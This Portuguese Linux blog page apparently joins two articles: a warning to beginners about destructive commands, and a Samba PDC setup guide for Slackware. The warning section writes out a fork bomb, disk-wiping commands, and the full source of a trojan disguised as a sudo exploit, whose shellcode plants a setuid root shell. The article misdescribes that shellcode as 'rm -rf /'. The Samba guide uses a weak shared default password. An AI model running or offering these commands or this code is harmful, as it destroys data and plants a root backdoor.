Que tal isso? Como você faria para apagar todos os arquivos ocultos de uma pasta, sabendo que os arquivos ocultos no Linux começam com .? Você poderia pensar em um comando como esse:

# rm - .*

Nããããããoooooo!
Esse comando irá apagar todos os arquivos um nível acima do diretório atual.

Segundo, terceiro e quarto comandos

2. Como fazer um backup do seu diretório home ou algumas pastas? Nunca tente fazer qualquer coisa como:


# mv /home/seunome/* /dev/null

P. O que é mv?
A. Mover arquivos.

P. O que é /dev/null?
A. Nulo, não significa nada. Em outras palavras, é um buraco-negro.

Se você executar o comando acima ele irá mover todos os arquivos dentro do seu diretório home para um buraco-negro, Hasta la vista baby!

3. Terminal Linux não é um brinquedo, é algo para aprender e fazer coisas produtivas. Eu só queria avisar que você não deve escrever nada bobo e apertar ENTER como esta bobagem:

:(){:|:&};:

Esses rostinhos, que mais parecem aqueles usados em chat, parecem inofensivos, mas no terminal eles são comandos. O comando acima executa processos diferentes causando o congelamento de seu computador. Você obterá uma espécie de "Blue Screen of Death", "Tela Azul da Morte"! (usuários do Windows conhecem ela muito bem).

4. Que tal criar um sistema de arquivos do Linux?

# mkfs.ext3 /dev/sda

Os dados de seu disco rígido sumirão e nunca voltarão. Isso foi uma festa de despedida para seus documentos, você acabou de executar algo similar a um "format C:\*.*".

Quinto comando e finalização

5. Você já ouviu falar que os olhos podem mentir? Bem, às vezes. O que você verá no seguinte arquivo escrito em C por alguém alegando ser uma correção de uma falha de segurança do "sudo" é na verdade a raiz de todo o mal.

...
#### NÃO SE ATREVA A COMPILAR ISSO E EXECUTAR ######
#### ESSE CÓDIGO LOCO FOI TIRADO DA SEGUINTE PAGINA ####
#### http://seclists.org/fulldisclosure/2007/Aug/0071.html ####
/*
* off by one ebp overwrite in sudo prompt parsing
function
* discovered by beyond security in 2007, thx ge
*
* to compile: gcc -pipe -o sobo sobo.c ; ./sobo
*
* please use responsibly! a patch has already been
sent
* upstream and a fix will be included in the next
sudo release
*
*/

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <alloca.h>
#define SPROMPT "%u@%h> \\%"
#define shellcode esp
#define RETS_NUM 246
#define NOPS_NUM 116
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
                = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
                  "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
                  "\xdf\x81\x68\x8d\x92\xdf\x54\x5e\xf7\x16\xf7"
                  "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
                  "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
                  "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\x2f\x62\x69"
                  "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
                  "cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
void fill (char *buff, int size, unsigned long val) {
  unsigned long *ptr = (unsigned long *) buff;
  for (size /= sizeof (unsigned long); size > 0;
size--) *ptr++ = val;
}
unsigned long get_sp (void) {
  __asm__ ("lea esp, %eax");
}
char *exp (char nops_nums, char rets_nums, char
*shellcode) {
  int size = strlen (SPROMPT) + nops_nums + rets_nums
+ strlen (shellcode);
  unsigned char *nops = alloca (nops_nums);
  unsigned char *rets = alloca (rets_nums);
  unsigned long ret = get_sp ();
  static char exp_buffer [8192];
  /* ensure isatty() fails */
  close (0); close (1); close (2);
  fill (nops, (unsigned char) nops_nums, 0x90909090);
  fill (rets, (unsigned char) rets_nums, ret);
  if (size > sizeof (exp_buffer)) {
    fprintf (stderr, "buffer is too small\n");
    return NULL;
  }
  snprintf (exp_buffer, sizeof (exp_buffer),
"%s%s%s%s",
  SPROMPT, nops, shellcode, rets);
  return exp_buffer;
}
int main(int argv, char *argc[]) {
  char *exploit = exp (NOPS_NUM, RETS_NUM, shellcode);
  execl ("/usr/bin/sudo", "/usr/bin/sudo", "-b", "-p",
exploit, "/bin/false", NULL);
  /* shellroot should await you @ "HISTFILE=/dev/null
/tmp/.beyond -p" */
  return 0;
}

Então, esta é uma versão do código hexadecimal para "rm -rf / &". Isto faz nada mais nada menos que limpar o seu diretório raiz.

Estas são apenas algumas orientações para que você não seja enganado e pense que o Linux não presta, ele é muito poderoso e esse poder todo fica ao seu dispôr, por isso lembre-se do conselho do tio Ben.

Se você quiser aprender Linux, conquistar o poder sobre o seu computador, se divertir e ser produtivo, é preciso ter cuidado e partilhar o seu conhecimento.

Se você tem algum conhecimento sobre o Linux que deseja compartilhar, escreva nos comentários ou me mande uma mensagem por e-mail.

Então, o que você aprendeu hoje?

fonte: www.vivaolinux.com.br

Slackware 13 com Samba PDC completo

 Slackware 13 com Samba PDC completo

O objetivo desse arquivo é demonstrar de maneira simples como montar um servidor Samba com PDC e perfil móvel. Depois de muita pesquisa chegamos ao resultado desse artigo para que todos que precisarem possam tirar o máximo proveito possível. Todos os créditos serão dados no final do artigo. Bom proveito!

Configuração do Samba - smb.conf

O arquivo de configuração do Samba foi contribuído pelo nosso amigo H4ck-Du5t e fiz algumas modificações. Segue abaixo:

[global]

# Comentário sobre o Servidor.
comment = Servidor

# Host do Servidor.
netbios name = servidor

# Domínio que está sendo criado.
workgroup = placeredes

# Faz com que o usuário seja obrigado a autenticar no domínio diferente do (share) que seria apenas um compartilhamento.
security = user

# Faz com que as eleições sejam bem sucedidas.
os level = 100

# Aceita logon de clientes.
domain logons = yes

# Nome do script de logon.
logon script = %U.bat

# Referências do Controlador de domínio.
domain master = yes
local master = yes
preferred master = yes
time Server = yes
# Encriptação de senha para o uso de clientes XP e 2K.
encrypt passwords = yes
keep alive = 20
debug level = 3
log file = /var/log/samba_log.%u

## Com essa linha, não será necessário cadastrar as Estações no SAMBA

add machine script = /usr/sbin/useradd -d /dev/null -g 100 -s /bin/false -M %u

# Configuração de senhas.
passwd program = /usr/bin/passwd %u
passwd chat = *Entre\scom\snova\ssenha:* %n\n*Repita\snova\ssenha:* %n\n
null passwords = no
admin users = @users

# Sincronismo de senhas com as estações. A senha pode ser alterada via windows.
unix password sync = no
socket options = IPTOS_LOWDELAY TCP_NODELAY

# Permissão de acesso para somente sub-redes cadastradas.

hosts allow = 10.0.0.

# Compartilhamentos
[homes]
comment = Pastas dos Usuários
public = no
browseable = no
writeable = yes

[netlogon]
comment = Compartilhamento de Scripts
path = /arquivos/placeredes/netlogon
guest ok = Yes
browseable = no

#### Todos os diretorios tem permissoes por grupos, aqui estão separados por @placeredes (administrador) @diretoria, @departamento e @users
(todos).

[publico]
comment = Diretório Publico
path = /arquivos/placeredes/publico
browseable = yes
writeable = yes
force create mode = 0770
force directory mode = 0770
read only = no
admin users = @users
write list = @users

[tecnico]
comment = Diretório Tecnico
path = /arquivos/placeredes/tecnico
browseable = yes
writeable = yes
force create mode = 0770
force directory mode = 0770
read only = no
admin users = @placeredes @diretoria @tecnico
write list = @placeredes @diretoria @tecnico

[vendas]
comment = Diretório de Vendas
path = /arquivos/placeredes/vendas
browseable = yes
writeable = yes
force create mode = 0770
force directory mode = 0770
read only = no
admin users = @placeredes @diretoria @vendas
write list = @placeredes @diretoria @vendas

Cadastre o usuário root no Samba:

# smbpasswd -a root

Crie as pastas necessárias:

# mkdir /arquivo
# cd /arquivos
# mkdir placeredes
# cd placeredes
# mkdir netlogon
# mkdir publico


Dê as permissões nas pastas criadas:

# chmod 755 /arquivos/placeredes/netlogon
# chmod 755 /arquivos/placeredes/publico


Crie o arquivo netlogon.bat dentro da pasta /arquivos/netlogon com o seguinte conteúdo:

net use P: \\servidor\servidor\publico /yes 

Criar usuários e grupos

Aqui demonstrarei como criar grupos e usuários e associá-los. Temos nessa área dicas importantes de nossos colaboradores do VOL e outros grupos.

Como iremos fazer uso de um script em shell para cadastrar os usuários e definir os grupos, vamos primeiro criar todos os grupos que terá na empresa:

# groupadd nomedogrupo

Aqui deverão ser cadastrados os grupos da empresa, como: diretoria, departamento, administrador. Com certeza não terão problemas ao criar os grupos.

Agora para criar o usuário, uma maneira bem simples de se fazer isso é usando um script feito pelo nosso amigo Iran Macedo (http://www.vivaolinux.com.br/script/Adicionando-automagicamente-usuarios).

Faça o download do script: arquivo adiciona_usuario

e antes de executar no terminal, acesse o código usando o editor de sua preferência (vi adiciona_usuario) e localize a linha com a senha padrão para os usuários. A senha padrão original dos usuários criados pelo script é "S3nh4123". Essa é a primeira senha do usuário do Samba. Aqui eu alterei essa senha para "place", pois fica mais fácil de passar para os novos usuários do Samba.

Feito isso execute o script pela primeira vez e cadastre os usuários de maneira simples e rápida. Para cadastrar futuros usuários basta acessar o shell e digitar adiciona_usuario e fazer o cadastro dos mesmos, como diz o Iran, podem ser cadastrados 10, 20, 100 usuários numa única sessão, e o bom é que sempre mostra o último usuário criado, evitando assim que tentemos criar usuários já existentes.
Aqui nesse script já associamos o usuário ao grupo ao qual pertence.

Adicionando o Windows no domínio, netlogon e scripts

Adicionando o Windows no domínio

Para adicionar os micros no domínio clique com o botão direito em:

Meu Computador -> Nome do Computador -> Alterar

E insira o domínio, em seguida será solicitada a senha de root, clique em OK e reinicie o micro e logue com um usuário comum.

Note que já estará mapeado o diretório home do usuário.

Netlogon e scripts

Aqui foi onde tive que pensar um pouco mais e procurar uma solução mais rápida para criar os arquivos.bat de cada usuário, visto que cada usuário tem o seu próprio grupo.

Depois de uma boa pequisa no nosso glorioso Google encontrei uma dica do Marco Driemeyer.

Ele demonstra de uma maneira fácil e rápida de criar os arquivos.bat. Segue demonstração:

Primeiro faça o download do script: http://www.titansware.com.br/downloads/scripts_samba.sh

Agora siga esses passos essenciais:
  1. Copiar ou baixar o script para o diretório onde estão os teus bats de login;
  2. Criar um diretório chamado scripts, nele ficarão os modelos de script para cada um dos grupos;
  3. Dentro de scripts, criar um diretório para cada grupo com o nome do grupo, por exemplo, grupo1 grupo2 grupo3;
  4. Dentro do diretório de cada grupo, deve ser criado o bat do grupo chamado script.bat, este diretório também deve conter um arquivo chamado usuários, com um usuário por linha;
  5. Após isso execute o script ./scripts_samba.sh, ele criará o script de cada usuário da forma correta, ao fazer a alteração no script de um grupo rode o ./scripts_samba.sh novamente para que ele atualize o script dos usuários.

Para que tenha sucesso na criação dos bats, é indispensável a instalação do unix2dos, a instalação é fácil e não será abordada no artigo.

Exemplo de como ficará o bat:

# cat suporte.bat

net use h: \\servidor\administrativo /yes
net use i: \\servidor\diretoria /yes
net use j: \\servidor\expedicao /yes
net use k: \\servidor\faturamento /yes
net use l: \\servidor\financas /yes
net use m: \\servidor\gcomercial /yes
net use n: \\servidor\publico /yes
net use o: \\servidor\ti /yes
net use p: \\servidor\varejo /yes
net use q: \\servidor\vendas /yes
net time \\servidor /yes
Agora iremos abordar algumas alterações e dúvidas que poderão surgir depois de toda configuração.

Ajuste fino na configuração

Essa parte do artigo é onde podemos trabalhar ainda mais as permissões e alterações no login dos usuários.

Depois de ter configurado toda rede, surgiu a questão de ter que alterar as senhas dos usuários mensalmente por motivo de segurança. Como não são poucos usuários, fica difícil ter que fazer isso mensalmente. Por isso podemos mudar a configuração das senhas do Samba.

Exemplo:

Para que a senha expire em 30 dias, devemos usar o seguinte comando:

$ pdbedit -P "maximum password age" -C 2592000

Para que o usuário só possa mudar a senha após 25 dias depois da última troca:

$ pdbedit -P "minimum password age" -C 2160000

O tamanho mínimo da senha será de 6 caracteres:

$ pdbedit -P "min password length" -C 6

Mantém um histórico de senhas usadas pelo usuário para que ele não possa reutilizá-las. Neste caso ele não poderá utilizar as últimas duas senhas. Em conjunto com o "minimum password age" esta opção torna a política de senhas muito mais segura:

$ pdbedit -P "password history" -C 2

A senha de root não expira:

$ pdbedit -c "[X ]" -u root

Outro problema que poderão enfrentar é que o todo-poderoso root do Linux não tem acesso de administrador no Windows. Para isso devemos associar o root do Linux ao grupo de administradores do Windows. Fazemos isso através do seguinte comando:

# net groupmap add ntgroup="Domain Admins" rid=512 unixgroup=root

No meu caso, alguns usuários teriam que ter privilégios de administradores em suas estações, para isso podemos alterar a configuração acima com o seguinte comando:

# net groupmap modify ntgroup="Domain Admins" rid=512 unixgroup="GRUPO DESEJADO"

Isso é importante para a instalação de programas e alteração de data e hora nos computadores.

Bem, acho que é isso. Caso eu tenha esquecido algo eu faço uma segunda parte do artigo ou posto nos comentários.

Como fui extremamente ajuda por muitos para chegar a todo esse processo, espero que esse artigo seja útil para muitos, e sempre tenhamos em mente o seguinte: "COMPARTILHE", pois a mais felicidade em dar do que em receber.

Abraço a todos.

Créditos

Seguem as fontes citadas no artigo:

Mural de Recados